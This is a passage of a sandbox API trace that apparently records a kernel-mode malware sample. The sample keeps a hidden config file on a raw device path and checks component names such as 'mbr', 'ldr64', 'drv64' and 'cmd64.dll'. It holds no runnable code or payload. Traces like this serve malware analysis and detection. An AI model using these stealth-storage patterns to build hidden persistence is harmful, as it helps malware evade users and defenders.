_snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.468] KeEnterCriticalRegion () [0121.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] KeLeaveCriticalRegion () [0121.468] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.468] KeEnterCriticalRegion () [0121.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.468] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5a30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] KeLeaveCriticalRegion () [0121.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.468] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.468] KeEnterCriticalRegion () [0121.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] ExFreePoolWithTag (P=0xfffffa8003bbabc0, Tag=0x0) [0121.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.468] KeLeaveCriticalRegion () [0121.468] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.469] ReleaseMutex (hMutex=0xf0) returned 1 [0121.469] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.469] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.469] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.469] KeEnterCriticalRegion () [0121.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.469] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.469] IdePortDispatch () returned 0x103 [0121.469] KeWaitForMutexObject () returned 0x0 [0121.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.469] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.469] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.469] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.469] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.469] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc41c0 [0121.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.469] KeLeaveCriticalRegion () [0121.469] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.469] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.469] KeEnterCriticalRegion () [0121.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.469] KeLeaveCriticalRegion () [0121.469] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.470] KeEnterCriticalRegion () [0121.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.470] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.470] IdePortDispatch () returned 0x103 [0121.470] KeWaitForMutexObject () returned 0x0 [0121.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.470] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.470] KeLeaveCriticalRegion () [0121.470] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.470] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.470] KeEnterCriticalRegion () [0121.470] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.470] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b37000 [0121.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.470] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.470] IdePortDispatch () returned 0x103 [0121.470] KeWaitForMutexObject () returned 0x0 [0121.470] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.470] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.470] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.470] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.470] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.470] IdePortDispatch () returned 0x103 [0121.470] KeWaitForMutexObject () returned 0x0 [0121.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] KeLeaveCriticalRegion () [0121.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.471] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.471] KeEnterCriticalRegion () [0121.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] KeLeaveCriticalRegion () [0121.471] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.471] KeEnterCriticalRegion () [0121.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.471] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] KeLeaveCriticalRegion () [0121.471] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.471] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.471] KeEnterCriticalRegion () [0121.471] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] ExFreePoolWithTag (P=0xfffffa8003bc41c0, Tag=0x0) [0121.471] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.471] KeLeaveCriticalRegion () [0121.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.472] ReleaseMutex (hMutex=0xf0) returned 1 [0121.472] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.472] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.472] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.472] KeEnterCriticalRegion () [0121.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.472] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.472] IdePortDispatch () returned 0x103 [0121.472] KeWaitForMutexObject () returned 0x0 [0121.472] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.472] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.472] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.472] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.472] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.472] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5150 [0121.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.472] KeLeaveCriticalRegion () [0121.472] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.472] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.472] KeEnterCriticalRegion () [0121.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.472] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.472] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.472] KeLeaveCriticalRegion () [0121.472] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.472] KeEnterCriticalRegion () [0121.472] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.472] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.472] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.472] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.472] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.473] IdePortDispatch () returned 0x103 [0121.473] KeWaitForMutexObject () returned 0x0 [0121.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.473] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.473] KeLeaveCriticalRegion () [0121.473] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.473] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.473] KeEnterCriticalRegion () [0121.473] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.473] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b38000 [0121.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.473] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.473] IdePortDispatch () returned 0x103 [0121.473] KeWaitForMutexObject () returned 0x0 [0121.473] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.473] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.473] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.473] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.473] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.473] IdePortDispatch () returned 0x103 [0121.473] KeWaitForMutexObject () returned 0x0 [0121.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] KeLeaveCriticalRegion () [0121.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.474] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.474] KeEnterCriticalRegion () [0121.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] KeLeaveCriticalRegion () [0121.474] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.474] KeEnterCriticalRegion () [0121.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.474] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] KeLeaveCriticalRegion () [0121.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.474] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.474] KeEnterCriticalRegion () [0121.474] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] ExFreePoolWithTag (P=0xfffffa8003bc5150, Tag=0x0) [0121.474] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.474] KeLeaveCriticalRegion () [0121.474] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.475] ReleaseMutex (hMutex=0xf0) returned 1 [0121.475] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.475] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.475] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.475] KeEnterCriticalRegion () [0121.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.475] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.475] IdePortDispatch () returned 0x103 [0121.475] KeWaitForMutexObject () returned 0x0 [0121.475] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.475] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.475] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.475] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.475] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.475] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.475] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.475] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.475] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.475] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.475] KeLeaveCriticalRegion () [0121.475] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.475] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.475] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.475] KeEnterCriticalRegion () [0121.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.476] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.476] IdePortDispatch () returned 0x103 [0121.476] KeWaitForMutexObject () returned 0x0 [0121.476] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.476] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.476] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.476] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.476] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.476] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.476] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.476] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.476] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.476] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.476] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.476] KeLeaveCriticalRegion () [0121.476] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.476] ReleaseMutex (hMutex=0x100) returned 1 [0121.476] Sleep (dwMilliseconds=0x2bf20) [0121.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b9a0af0, dwHighDateTime=0x1d24fa4)) [0121.483] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.483] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.483] KeEnterCriticalRegion () [0121.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.483] IdePortDispatch () returned 0x103 [0121.483] KeWaitForMutexObject () returned 0x0 [0121.483] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.483] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.483] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.483] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.483] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.483] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc41c0 [0121.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.483] KeLeaveCriticalRegion () [0121.483] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.483] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.483] KeEnterCriticalRegion () [0121.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.483] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.483] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.483] KeLeaveCriticalRegion () [0121.483] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.483] KeEnterCriticalRegion () [0121.483] 